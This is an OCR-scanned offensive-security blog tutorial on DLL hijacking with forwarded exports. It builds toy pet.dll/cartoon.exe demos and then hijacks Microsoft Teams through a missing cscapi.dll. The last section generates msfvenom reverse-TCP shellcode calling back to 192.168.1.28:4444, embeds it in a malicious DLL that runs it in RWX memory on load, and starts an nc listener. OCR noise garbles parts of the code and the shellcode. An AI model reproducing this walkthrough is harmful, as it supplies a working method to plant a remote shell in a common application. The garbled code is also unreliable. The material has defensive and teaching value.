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In the previous post about DLL hijacking, | considered simplest case, where victim DLL
haven’t exported functions.

But in some cases the DLL you compile must export multiple functions to be loaded by the
victim process. If these functions do not exist, the binary will not be able to load them and the

exploit will fail.

So, compiling custom versions of existing DLLs is more challenging than it may sound, as a
lot of executables will not load such DLLs if procedures or entry points are missing. Tools
such as DLL Export Viewer can be used to enumerate all external function names and
ordinals of the legitimate DLLs. Ensuring that our compiled DLL follows the same format will
maximise the chances of it being loaded successfully.
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program.exe

before DLL hijacking

program.exe

You can use this program but | wrote a simple python script which enumerates the exported

exportedFunc
> exportedFunc2
calls exportedFunc3
evildl —
payload
exportedFunc
exportedFunc2
exportedFunc2
our malicious DLL
after DLL hijacking
evildl —
payload
exportedFunc exportedFunc
»  exportedFunc? —————»  exportedFunc?
call exportedFunc2 proxy exportedFunc3

functions from the provided DLL (d11-def.py):
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import pefile
import sys
import os.path

dll = pefile.PE(sys.argv[1])
dl1l _basename = os.path.splitext(sys.argv[1l])[0]

try:
with open(sys.argv[1].split("/")[-1].replace(".d1l1l", ".def"), "w") as f:
f.write("EXPORTS\n")
for export in dl11.DIRECTORY_ENTRY_EXPORT.symbols:
if export.name:
f.write('{3={3}.{} @{3\n'.format(export.name.decode(), dll_basename,
export.name.decode(), export.ordinal))
except:
print ("failed to create .def file :(")
else:
print ("successfully create .def file :)")

This script uses python pefile module.

cartoon.exe and pet.dll

To test my script | will write a simple DLL with exported functions and check on it.
For example, let’s go to create simplest DLL (pet.c):
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https://github.com/erocarrera/pefile

/*

pet.dll - for testing how to enumerate exported functions

*/

#include <windows.h>

#pragma comment (1lib,

"user32.1ib")

BOOL APIENTRY Dl1lMain(HMODULE hModule, DWORD

switch (ul_reason_for_call) ({
case DLL_PROCESS_ATTACH:

case DLL_PROCESS_DETACH:

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

{
break;
break;
break;
break;
}
return TRUE;
}

ul_reason_for_call, LPVOID lpReserved)

extern "C" __declspec(dllexport) VOID _cdecl Cat(void) {

MessageBox (NULL,

"Meow-meow",

"=A,,A=", MB_OK);

extern "C" __declspec(dllexport) VOID _cdecl Bird(void) {

MessageBox (NULL,

"Tweet-tweet",

">(")", MB_OK);

extern "C" __declspec(dllexport) VOID _cdecl Mouse(void) {

MessageBox (NULL,

Let’s go to compile:

X86_64-w64-mingw32-g++

kaligkali
kaligkali
total 140
=TWXT=XT=X
-rW-r—r—
-rW-r—r—
~TWXT-Xr-X
-rW-r—r—
=TWXT=XI=X
=TW-r—r—
-rW-r—r—
kaligkali

kali 92344
kali ifo
kali 609
kali 12288
kali 59
kali 14336
kali 835
kali 544

"Squeak-squeak", "<:3 )~~~",

-shared -o pet.dll pet.c

pet.dll
pet.c
evil.c
evil.dll
pet.def
cartoon.exe
cartoon.cpp
dll-def.py

MB_OK) ;

-shared -o pet.dll pet.c

To check the correctness of my DLL, | created a simple program that imports this DLL and
uses the exported functions in it (cartoon.cpp):
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/*

cartoon.cpp - victim program example 1

DLL hijacking with exported functions example
author: @cocomelonc

*/

#include <windows.h>

#include <cstdio>

typedef VOID (__cdecl *CatProc)(); // cat
typedef VOID (__cdecl *BirdProc)(); // bird
typedef VOID (__cdecl *MouseProc)(); // mouse

int main(void) {

// main dll with exported functions
HINSTANCE petDll;

// pets

CatProc catFunc;
BirdProc birdFunc;
MouseProc mouseFunc;

// free memory
BOOL freeRes;

// load pet.dll
petDll = LoadLibrary(TEXT("pet.dll1l"));

if (petDll != NULL) {
catFunc = (CatProc) GetProcAddress(petDll, "Cat");
birdFunc = (BirdProc) GetProcAddress(petDll, "Bird");
mouseFunc = (MouseProc) GetProcAddress(petDll, "Mouse");
if (catFunc != NULL) {
(catFunc) ();
}
if (birdFunc !'= NULL) {
(birdFunc) ();
}
if (mouseFunc != NULL) {
(mouseFunc) ();

}
freeRes = FreelLibrary(petDll);

return 0;

Compile:
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Xx86_64-w64-mingw32-gcc -02 cartoon.cpp -0 cartoon.exe -mconsole -I/usr/share/mingw-
w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-
exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
>/dev/null 2>&1

kaligkali qw32- -02 cartoon.cpp -o cartoon.exe -mconsole *I,"I.ISI‘,"ShﬂrE,"mll‘lglﬂ—Wﬁ‘l/lnEludEl‘ -5 -ffu
nction-sections -fdata-sections -Wno-write-strings -fno- exceptmns —fmerge-all cnnstants -static-libstdc+ -static-libgcc -fpermissive >/dev/null 2>&1
kaligkali 1s -1t

total 140

=TWXT=-XT-X kali kali 14336 Oct 12 13:3@8 cartoon.exe

-I'wW-r—r-— kali kali 946 Oct 12 13:14 cartoon.cpp

-rwxr-xr-x 1 kali kali 92344 Oct 12 13:85 pe

-IW-F—T— kali kali 776 Oct 12 12:55

-I'W-r—I— kali kali 6@9 Oct 12 12:11 .

~TwWXr-XTr kali kali 12288 Sep 28 22:04 evil.dll

i H—— kali kali 59 Sep 28 22:02 pet.def

-TW-r—r— kali kali 544 Sep 28 17:06 dll-def.py

kaliagkali

pet.c — ~Iprojectsicybersec_blog/2021-10-01-dllhijack-2 — Atom
Edit View Selection Find Packages Help

DLL THREAD ATTACH
DLL THREAD DETACH

i

declspec(d
(NULL, "Meow-meow",

Meow-meow

_declspec(dl
IULL, "Twel

_declspec

File Edit View Selection Find Packages Help

petDll

(petDll
catFunc CatPr Ge rocAdd , "Cat");
birdFunc | ocAdd (petDll, "Bird");
mouseFunc ( t petD1l, "Mou
(catFunc NULL) {
(catFunc) ();

Tweet-tweet

OK

(birdFunc NULL) {
(birdFunc) ();

(mouseFunc

(mouseFunc) ();

}

freeRes FreelLib
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cartoon.cpp — ~Jprojectsicybersec_blog/2021-10-01-dllhijack-2 — Atom

File Edit View Selection Find Packages Help

petDll LoadLibrary(TEXT("pet.

(petDll
catFunc CatProc) GetProcAdd etD11l, "Cat");
birdFunc 3irad ] ocAd (petDLl, "Bird");
mouseFunc 0 GetProc ess (petDll, "V
(catFunc \
(catFunc) ();

1
I

(birdFunc NULL) { Squeak-squeak

(birdFunc) ();

oK
} [ |

(mouseFunc NULL) {

(mouseFunc) ();

1
g

freeRes FreeLibrary(petDl1);

And firstly, as a proof-of-concept, let’s hijack my pet.d11.

For this, create malicious evil.c:

/*

evil.c - malicious DLL

DLL hijacking with exported functions example
author: @cocomelonc

*/

#include <windows.h>
#pragma comment (lib, "user32.1ib")

BOOL APIENTRY D1llMain(HMODULE hModule, DWORD
{
switch (ul_reason_for_call) ({
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Woof-woof!",
"=n, A=
MB_OK
)
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;

}
return TRUE;

ul_reason_for_call,

G s 6 5 (20 (=0 R 5 63 [ might

LPVOID lpReserved)

But, before we start, let’s run our python enum script d11-def.py on pet.d11:
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python3 dll-def.py pet.dll

cat pet.def

kaligkali

successfully

kaligkali
total 140
-rw-r—r—
-rW-r—r—
-IWXI-Xr-X
-rW-r—r—
~IWXTr-Xr-x
-rW-r—r—
~TWXT-Xr-X
-rw-r—r—

kalafilkal s

EXPORTS

R R R e

creat

kali
kali
kali
kali
kali
kali
kali
kali

Bird=pet.Bird @l
Cat=pet.Cat @2
Mouse=pet.Mouse @3

Kaligkall

e .def file

kali
kali
kali
kali
kali
kali
kali
kali

59
563
14336
946
92344
776
12288
544

t)

Oct
Oct
Oct
Oct
Oct
Oct
Sep
Sep

i dll-def.py pet.dll

pet.def
evil.c
cartoon.exe
cartoon.cpp
pet.dll
pet.c
evil.dll
dll-def.py

As you can see, Module-Definition file pet . def has been created.

In the next step create our malicious evil.d11 with and link our pet . def file when compile:

x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c pet.def -s

kaligkali
kaligkali
total 140
=IWXIr=XIr-=Xx
=I'W=-r—r-—
-r'w-r—r—

—IWXT-XI'-X
“PW-F—_Tr—
=PWXT=XI'=X
=IW-r—r-—
=rw-r—r—

kaligkali

Then, rename pet
as pet.dll

kali
kali
kali
kali
kali
kali
kali
kali

12288
L
563
14336
946
92344
776
54k

- -shared -o evil.dll evil.c pet.def -s

evil.dll
pet.der
evil.c
cartoon.exe
cartoon.
pet.dll
pet.c
dll-def.

.d11 as pet-orginal.dll, and put our malicious evil.d11l by renaming it
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https://docs.microsoft.com/en-us/cpp/build/reference/module-definition-dot-def-files?view=msvc-160
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ginal.dll

i
288 pet.dll

LY

8
A

And run our cartoon.exe:
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v &)} RAVCpl6d.exe of o
[ FMAPP.exe 3 4
v @ firefox.exe 78 0000130
@ firefox.exe 00000140
@ fircfox.exe 75 00000150 Oa
. 00000160 6e
s 00000170 €9
@ fircfox.exe 13 go00180
@ firefox.exe 31 00000190
@ firefox.exe 11g 0O000lad

n.
original.dll

3o e o

ro o oMo
[ER=R=R" ]

"
CPU Usage: 14.75%  Physical memory: 671 L Rered irite

As you can see, our DLL hijacking is perfectly worked :)
Real world example. Microsoft Teams
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But what about real world example? While researching various applications on my Windows

10 x64, | found many candidates for DLL hijacking. One of them is Microsoft Teams
v.1.3.00.24758:

T Microsoft Teams 95.6 MB
9,/28/2021

1.3.00.24758

Modify Uninstall

As in my previous post, let’'s go to run procmon from sysinternals, and setting the following
filters:

Display entries matching these conditions:

Architecture | |is ~ w | then |Indude
Reset Add Remave
Column Relation Value Action 2
@ Process Name is Teams.exe Include
@ Result [ NAME NOT FOLND Include
2 Path ends with i Include
Process Name is Procmon exe Exclude
@ Process Name is Procmon64.exe Exclude
@ Process Name is System Exclude
QOperation beqins with IRP_MJ_ Exclude
@Operation begins with FASTIO_ Exclude
€3 Resutt begins with FASTIO Exclude
a Path ends with pagefile sys Exclude
€9 Path ends with Shift Exclude
€ Path ends with SMFtMir Exclude
€3 Path ends with SlogFie Exclude
@ Path ends with SValume Exclude
€9 Path ends with ShttrDef Exclude
@ Path ends with SRoot Exclude
@ Path ends with SBitmap Exclude
CA &N o N T AN | R ~
Ok Cancel Apply

As you can see, the process Teams . exe is missing several DLLs which possibly can be used

for DLL hijacking. For example cscapi.dll:
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https://docs.microsoft.com/en-us/sysinternals/downloads/procmon

File Edit Event Filter

|l 2d | AaBE

Tools  Options  Help
TAG B #ABKF

2

Microsoft Teams

Time ... Frocess Name

2:21:2.. fiTeams exe
| Teams exe
 Teams exe
| Teams exe
Teams exe
| Teams exe
 Teams exe
| Teams exe
| Teams exe
| Teams exe
| Teams exe
Teams exe
| Teams exe
 Teams exe
| Teams exe
| Teams exe
| Teams exe
| Teams exe
Teams exe
| Teams exe
 Teams exe
| Teams exe
Teams exe

PID Operation

13456 [FhQueryOpen
13456 [hQueryOpen
13456 [Bh.QueryOpen
13456 EhQueryOpen
13456 [ZhQueryOpen
13456 [BhQueryOpen
13456 [2hQueryOpen
13456 [2hQueryOpen
13456 [hQueryOpen
13456 [Bh.QuenyOpen
13456 EhQueryOpen
13456 [ZhQueryOpen
14940 [BhQueryOpen
14940 [BhQueryOpen
14940 b QueryOpen

17084 [EhQueryOpen
17084 EhQueryOpen
17084 &QueryOpen
17084 %QueryOpen
17084 gaQueryOpen
17084 EhQueryOpen
17084 FhQuenCoen

Fath

Mlsers
Mllsers
Mlsers
Mlsers
Mllsers
Mllsers
Mlsers
Mlsers
Mllsers
Mlsers
Mlsers
Mllsers
Mllsers
Mlsers
Mlsers

“User'App Data®
“User'fppData®.
\User'AppData®]
\User'AppData'
“Local\l
\Local\l

\User'AppData

“User'fppData’
\User' AppData®]
“User'App Datat
\Local\l
Local'l

\User'AppData'
“User'fppData®.
“User'AppData'

“User\AppDatatLocal
\User'\AppData®
“User'AppData®l
\User' AppData®]
\Local\l
JLocal

Localy
Local’
Local

Local\
Local

Local
Local\

Local\

Microsoft\Teams \cument \CRYFTBASE.DLL
Microsoft \Teams \cument\SSPICLI.DLL
Microsoft'\ Teams cument \OLEACCRC.DLL
Microsoft'\ Teams \cument \DEVOB. dll
Microsoft\ Teams \cument \mf dil
Microsoft Teams cument \mfplat dl
Microsoft\ Teams\cument \RTWorkQ.DLL
Microsaft' Teams'cument \msmpeg2vdec dll
Microsoft\ Teams cument \mfperfhelper.dil
Microsoft\ Teams‘cument \msvproc.dll
Microsoft' Teams cument'CompPkgSup.DLL
Microsoft' Teams cument \dcomp dil
Microsoft\ Teams cument W LINKINFO dll
Microsoft\ Teams cument \ntshrui dil
Microsoft\ Teams \cument \srveh dil

SUsers\User\AppData’ Local\Microsoft'.Teams \cument \cscapi dil

SUsersh

Mlsers
Mlsers
Mllsers
Mlsers
Msers
Mlsers

plata
\User'AppData
“User\AppData
“User'fppData
“User'fppData
“User'AppData
‘User'\Aoo Data

call

iCrosott | eams ourmert o il

"Local\Microsoft Teams cument \WINMM dil
“Local\Microsoft\ Teams cument \IPHLPAPI.DLL
“Local\Microsoft Teams \cumrent \OLEACC dil
“Local\Microsoft' Teams cument \msdmo dil
“Local\Microsoft' Teams cument\HID.DLL
“Local\Microsoft Teams\cument\dbahelo dil

Result

NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOLUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOLUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOLUND
NAME NOT FOUND

Showing 297 of 1,689,879 events (0.017%)

Backed by virtual memory

Then, let's go to move c:\ and search legit DLL:

cd C:\

dir /b /s cscapi.dll
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rosoft Windows
2019 Microsoft

dindows\Win5Sx5h\amd64_microsoft-windows

ndows\WinSxS\amd64 _microsoft-windows
pi.dll
ndows\WinSxS\amd64 _microsoft-windows
pi.dll
] dindows\WinSx5S\wowbd _microsoft-windows
bbab ce38266 i.dll
1C \ \Windows\WinSxS\wowt4d _microsoft-windows

w5

\Windows\WinSxS\wows4d _microsoft-windows
pi.dll
ndows\WinSxS\wowt4 _microsoft-windows
pi.dll

" BF m O A

=

We now know exactly where the legit DLL is located.
Copy legit cscapi.dll to attacker’s machine. Then run my d11-def.py script:

python3 dll-def.py cscapi.dll
cat cscapi.dll
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kali@kali:~/pr.

-rw-r—r— 1
-rw-r—r— 1
-rwxr-xr-x 1
-rw-r—r— 1
-TrWXr-xr-x 1
-rw-r—r— 1
=rw-r—r— 1
=ruxrux-—— 1
kaligkali

successfully
kaligkali
total 184
-'W-r—r—
—TWXI-XI-X
=I'W-Ir—1r—
-ri-r—r—
—TWXr-Xr-X
-'W-r—r—
—TWXP-Xr-X
-I'W-r—r—
-I'W-r—r—
—TWXTWY ——
kaligkali
EXPORTS

1
1
1
1
1
1
1
1
1
1

.are-analysis-2 &

kali kali 59 Oct
kali kali 563 Oct
kali kali 14336 Oct
kali kali 946 Oct
kali kali 92344 Oct
kali kali 776 Oct
kali kali 544 Sep
kali kali 4096@ Mar

create .def file :)

kali kali 410 Oct
kali kali 12288 Oct
kali kali 59 Oct
kali kali 563 Oct
kali kali 14336 Oct
kali kali 946 Oct
kali kali 92344 Oct
kali kali 776 Oct
kali kali 544 Sep
kali kali 4096@ Mar

19

kali@kali:~/pr...01-dllhijack-2 &

150
=Y
138
130
14
:@5
:55
17:86
2019

pet.def
evil.c
cartoon.exe
cartoon.cpp
pet.dll
pet.c
dll-def.py
cscapi.dll

cscapl.def
evil.dll
pet.def
evil.c
cartoon.exe
cartoon.cpp
pet.dll
pet.c
dll-def.py
cscapi.dll

CscNetApiGetInterface=cscapi.CscNetApiGetInterface gl
CscSearchApiGetInterface=cscapi.CscSearchApiGetInterface @2
OfflineFilesEnable=cscapi.0fflineFilesEnable @3
OfflineFilesGetShareCachingMode=cscapi.0fflineFilesGetShareCachingMode &
OfflineFilesQueryStatus=cscapi.0fflineFilesQueryStatus a5

OfflineFilesQueryStatusEx=cscapi.0fflineFilesQueryStatusEx @6

OfflineFilesStart=cscapi.0OfflineFilesStart @7

kaligkali

And again, as you can see, Module-Definition file cscapi.def has been created.

Let’s take another look at the evil.c:

mc [kali@kali...f_shared/work &

3 dll-def.py cscapi.dll

t cscapi.def

13/21



/*
evil.c - malicious DLL

DLL hijacking with exported functions example

author: @cocomelonc
*/

#include <windows.h>
#pragma comment (1lib,

BOOL APIENTRY Dl1lMain(HMODULE hModule,

{

"user32.1ib")

DWORD wul_reason_for_call, LPVOID lpReserved)

switch (ul_reason_for_call) {

case DLL_PROCESS_ATTACH:
MessageBox(
NULL,

"Meow-woof!", // I have changed this line for clarity,

"=A, A",
MB_OK
)
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;

}
return TRUE;

Compiling the source code:

but not required

x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c cscapi.def -s

kaligkali
kaligkali
total 184
—IWXT-XI-X
-rw-r—r—
-IrwW-r—r—
-rwW-r—r—
=IWXT=XI=X
=I'W-r—r-—
=IWXT=XI=X
=I'W-r—r-—
=I'W-r—r—
=TWXTWX——
kaligkali

N

- -shared -o evil.dll evil.c cscapi.def -s

evil.dll
evil.c
cscapi.def
pet.def
cartoon.exe
cartoon.cpp
pet.dll
pet.c
dll-def.py
cscapi.dll

Then naming the file “cscapi.dll” and placing it in the directory where Microsoft Teams is
loaded from gives us a message popup when starting Microsoft Teams.

14/21



Edit View Selection Find Packages

indows.
comment (lib, "user32.1:

) 00000000 e
' 00000010 il
(ul_reason_for call) 00000020 10 15
. A 00000030 oo
DLL TT H 00000040 j=li]
00000050 70
00000060
“HLL. Qa0000a70
1y - Fpn 00000080
Meow-woof! ", Meaw-waof! 00000090
000000a0
000000B0
0000000
00000040
00000020
000000£0
DLL ) 00000100
00000110
H 00000120

)

Rkddress 3p has n
¢ image-section.
VirtualQuery £
ailed for %d byt
23 at address 3p
Virtua

1Protect failed
with code Ox3x..
Unknown pseudo

oo
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After we close pop-up Microsoft Teams work correctly, not crashed:
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I EES

File Edit View Selection Find Packages He

Microsoft Teams

<windows.h>

comment (lib, "user32.

BOOL APIENTRY D1lMain(Hl

(ul_reason_f

Enter your work, school,
or Microsoft account.

Sign-in address

Not on Teams yet? Learn more

That’s all!

What about reverse shell?

Now that everything is working as expected, let's add some more advanced functionality to
the DLL, which in turn will give us a reverse TCP shell whenever MS Teams is started.

For simplicity we can just use msfvenom to generate our reverse shell shellcode:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.28 LPORT=4444
EXITFUNC=thread -f c
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kaligkali msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.28 LPORT=4444 EXITFUNC=thread -f c
[-] No platform was selected. choosing Msf: :Module :: Platform:: Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 460 bytes
Final size of ¢ file: 1957 bytes
unsigned char buf[] =
"\xFc\x48\x83\xes\xFO\xe8\xcO\xB0\x00\xB0\x41\x51\x 41\ x50 \x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60 \x 48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\xB8b\x72\x50\x&8\x0F\xb7\xba\xba\x&d\x31\xc9"
"\x48\x31\xco\xac\x3c\x61\x7c\x02\x2c\x20 \x 41 \xc1\xc I\ x0d\ x41"
"\x01\xc1\xe2\xed\x52 \x41\x51\x48\x8b\x52\x2@\x8b\x 42\ x3c\x48"
"\x01\xde\x8b\x80\x88\x00\x00 \x00\x48\x85 \xcO\XT4\ X6 7\ x48\x01"
"\xd@\x50\x8b\x48\x18\x44\x8b\ x40\ x20\x49\x01\xdB\xe3\x56\x48"
"\xFAXcO\x41\x8b\x34\xB88\x48\x01 \xd6 \x4d \x31\xc9\x48\x31\xcO"
"\xac\x41\xc1\xc\xBd\x41\x01\xc1\x38\xe@\x75\x F1\x&4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x 44\ xBb\x 40\ x24\x 49\ x01\ xdO"
"\x66\x41\x8b\x0c\x&8\xE4\XBb\XEB\ X1\ X4\ X011\ xdO\ X 51\ xBb\x04"
"\ xB88\x48\x01\xd0\x41\x58\x41\x58\ x5\ x59 \x5a \x 41\ x58\ x41\x59"
"\x&1\x5a\x48\x83 \xec\x20\x41\X52\x FF\xe@\x58\x41\x59 \x5a \x48"
"\xBb\x12\xe9\x57\x FFA\xFF\xFF\x5d\x49\xbe\x77\x73\x32\x5F\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81 \xec\xal\x01\x00\x00"
"\x59\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc@\xa8\xB1\x1c\x41\x54"
"\x49\x89\xes \ x4 \xBI\XF1\x41 \xba\ x4 \x77 \x26\x07 \x fF\xd5\xbc"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\x ff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xcO\x&8\x FF\XCO\x48\xB9\xCc2"
"\x&8\xfF\xcO\x48\x89\xc1\x41\xba\xea\x@F\xdf\xe@\x FF\xd5\x48"
"\xB89\xc7\x6a\x10\x41\x58\x4c\xB\xe2\x48\x89\xFI\x41\xba\x99"
"\xa5\x74\x61\xFF\xd5\x48\x81\xce\ x40\ x02\x00\xB0\x 59\ xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x 48\ x89\xe2\x57"
"Ax57Ax5T\x4d\x31\xcO\x6a\x0d\x59\x41\ x50 \xe2\ X Fc\X66\XCT\xb4b"
"\x24\x54\x01\x01\x 48\ x8d\x44\x24\x 18\ xcH\xOD\x6B8\x 4B\ xB9\ xeb"

Update our malicious DLL with new one:
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/*

evil2.c - malicious DLL with reverse shell payload
DLL hijacking with exported functions example
author: @cocomelonc

*/

#include <windows.h>

// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.28 LPORT=4444

EXITFUNC=thread -f c

unsigned char payload[] =
"\XFc\x48\x83\xed\xFO\xe8\xcO\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\Xx48\x31\xcO\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\Xx00\X00\x48\x85\XxCcO\X74\x67\x48\x01"
"\xdO\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\XTFFAXCcO\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\ x40\ x24\x49\x01\xd0O"
"\Xx66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\Xx41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\X8b\x12\xeN\X57\XFF\XTFF\XFF\x5d\x49\xbe\x77\x73\x32\x5F\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xcO\xa8\x01\x1c\x41\x54"
"\Xx49\x89\xe4\x4c\x89\xF1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xcO\x48\xFF\xcO\x48\x89\xc2"
"\x48\xff\xcO\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\Xx89\XxCc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\Xxa5\x74\x61\xFf\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\X00\Xx00\Xx00\Xx00\X00\Xx41\x50\x41\x50\x48\x89\xe2\x57"
"\Xx57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\X24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\Xx00\x68\x48\x89\xe6"
"\X56\Xx50\x41\x50\x41\X50\Xx41\Xx50\x49\XFF\AXCO\X41\X50\x49\xFf"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3F\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xTfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6T\x6a\x00\x59\x41\x89\xda\xff\xd5";

unsigned int payload_len = sizeof(payload);

// https://docs.microsoft.com/en-us/windows/win32/procthread/creating-threads

DWORD WINAPI run() {
LPVOID memory; // memory buffer for payload
HANDLE pHandle; // proccess handle

// get the current process handle
pHandle = GetCurrentProcess();
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// allocate memory and set the read, write and execute flag

memory = VirtualAllocEx(pHandle,

PAGE_EXECUTE_READWRITE);

NULL,

payload_len, MEM_COMMIT,

// copy the shellcode into the newly allocated memory

WriteProcessMemory(pHandle, memory,

(LPCVOID)&payload, payload_len, NULL);

// if everything went well, we should now be able to execute the shellcode
((void(*)())memory)();

return 0;

BOOL WINAPI Dl11lMain(HINSTANCE hinstDLL,

HANDLE threadhandle;
switch (fdwReason) {

case DLL_PROCESS_ATTACH:

DWORD fdwReason, LPVOID lpReserved) {

// create a thread and run our function

threadhandle = CreateThread(NULL, O, run, NULL, ©, NULL);
// close the thread handle
CloseHandle(threadhandle);

break;

case DLL_THREAD_ATTACH:

break;

case DLL_THREAD_DETACH:

break;

case DLL_PROCESS_DETACH:

break;

}
return TRUE;

Let’s go compile:
Xx86_64-w64-mingw32-gcc

kaligkali

kaligkali

total 204

=I'WXT-XI'-X kali 13824 Oct
-I'W-r—r— kali 3398 Oct
~I'WXI-XI'-X kali 12288 Oct
-I'w-r—r-— kali 563 Oct
-rw-r—1r— kali 418 Oct
-rw-r—r— kali 59 Oct
-IWXT-XI-X kali 14336 Oct
-rw-r—r— kali 946 Oct
~IWXP-XT-X kali 92344 Oct
~IW-T—T— kali 776 Oct
~IW-T—T~— kali 544 Sep
=rWXTWX —— kali 48960 Mar
kaligkali

-shared -0 evil2.dll evil2.c cscapi.def -s

13

13 @

12
12
12
12
12
12
12
12
28
19

evil2.dll
evilZ.c
evil.dll
evil.c
cscapi.def
pet.def
cartoon.exe
cartoon.cpp
pet.dll
pet.c
dll-def.py
cscapi.dll

c -shared -o evil2.dll evil2.c cscapi.def -s

After replace target DLL, prepare listener on attacker’s machine, we can start Microsoft
Teams to see if everything is working as expected:
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File Actions Edit View Help
nc-lvp 4444 ®  kali@kali:~/pr..01-dllhijack-2 @  mc [kali@kali]-

“\x66\x41\xBb\x0c\x48\x44\x8b\ x40 \x1c\x49\x01\xd@\x41\x8b\x04"

"\x88\x48\x01\xd@\x41\x58\x41\x58\x5e\x59 \x5a \x41\x58\x41\x59" o
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe@\x58\x41\x59\x5a\x48" =
"\x8b\x12\xe9\x57\xFF\xf F\xfFix5d\x49\xbe\x77\x73\x32\x5f\x33" =
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00" F o N |
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc@\xa8\x01\x1c\x41\x54"
"\x49\x89\xes\x4c\x89\xF1\x41\xba \xbc\x77\x26\x07\xf f\xd5\xbc"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4&d\x31\xc\xbdd\x31\xcO\ 4B \XFFi\xcO\x48\x89\xc2"
"\x&8\xfF\xcO\x48\x89\xc1\x41\xba\xea\x0f \xdf\xed\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\xBI\xe2 \x48\xB9\xFI\x41\xba\x99"
"\xa5\x7&\x61\xFF\xd5\x48\x81\xcs\x40\x02\x0O\x00\x59\xbB\x63"
"\x6d\x64\x00\x00\x00\ x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\ETAXET\xad\x31\xc@\x6a\xBd\x59\x41\x58\xe2\x Fc\x66\xcT\xbs"
"\X2E\x5E\x01\x01\x&8\ xBd\x4E\x25\x18\Xc6\XDB\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\ x50\ x4\ X F\xcO\x41\x50\x49\xf " [ School
“\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79 \xcc\x3F\x86\xf f\xd5" = r
"\x48\x31\xd2\x48\xff\xca\x8b\xBe\x41\xba\x08\x87\x1d\x60\xff" B Microsoft ccount
"\xd5\xbb\xe@\x1d\x2a\x0a\x41\xba\xa6\x95\xbd \x9d\xf f\xd5\x48" *
